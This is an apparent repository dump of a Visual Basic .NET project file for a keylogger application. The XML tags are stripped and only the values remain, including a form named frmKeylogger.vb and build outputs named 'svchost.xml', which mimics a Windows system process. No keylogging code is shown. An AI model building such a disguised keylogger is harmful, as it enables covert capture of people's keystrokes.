29 | 1.0.0.%2a
30 | false
31 | false
32 | true
33 |
34 |
35 | x86
36 | true
37 | full
38 | true
39 | true
40 | bin\Debug\
41 | svchost.xml
42 | 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022
43 |
44 |
45 | x86
46 | pdbonly
47 | false
48 | true
49 | true
50 | bin\Release\
51 | svchost.xml
52 | 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022
53 |
54 |
55 | On
56 |
57 |
58 | Binary
59 |
60 |
61 | Off
62 |
63 |
64 | On
65 |
66 |
67 | My Project\app.manifest
68 |
69 |
70 | LocalIntranet
71 |
72 |
73 | false
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 | Form
101 |
102 |
103 | frmKeylogger.vb
104 | Form
105 |
106 |
107 |
108 | True
109 | Application.myapp
110 |
111 |
112 | True
113 | True
114 | Resources.resx
115 |
116 |
117 | True
118 | Settings.settings
119 | True
120 |
121 |
122 |
123 |
124 | frmKeylogger.vb
125 |
126 |
127 | VbMyResourcesResXFileCodeGenerator
128 | Resources.Designer.vb
129 | My.Resources
130 | Designer
131 |
132 |
133 |
134 |
135 | Designer
136 |
137 |
138 | MyApplicationCodeGenerator
139 | Application.Designer.vb
140 |
141 |
142 | SettingsSingleFileGenerator
143 | My
144 | Settings.Designer.vb
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 | False
153 | Microsoft .NET Framework 4 Client Profile %28x86 and x64%29
154 | true
155 |
156 |
157 | False
158 | .NET Framework 3.5 SP1 Client Profile
159 | false
160 |
161 |
162 | False
163 | .NET Framework 3.5 SP1
164 | false
165 |
166 |
167 | False
168 | Windows Installer 3.1
169 | true
170 |
171 |
172 |
173 |
180 |
--------------------------------------------------------------------------------
/vbKeylogger/vbKeylogger.vbproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | publish\
5 |
6 |
7 |
8 |
9 |
10 | en-US
11 | false
12 |
13 |
--------------------------------------------------------------------------------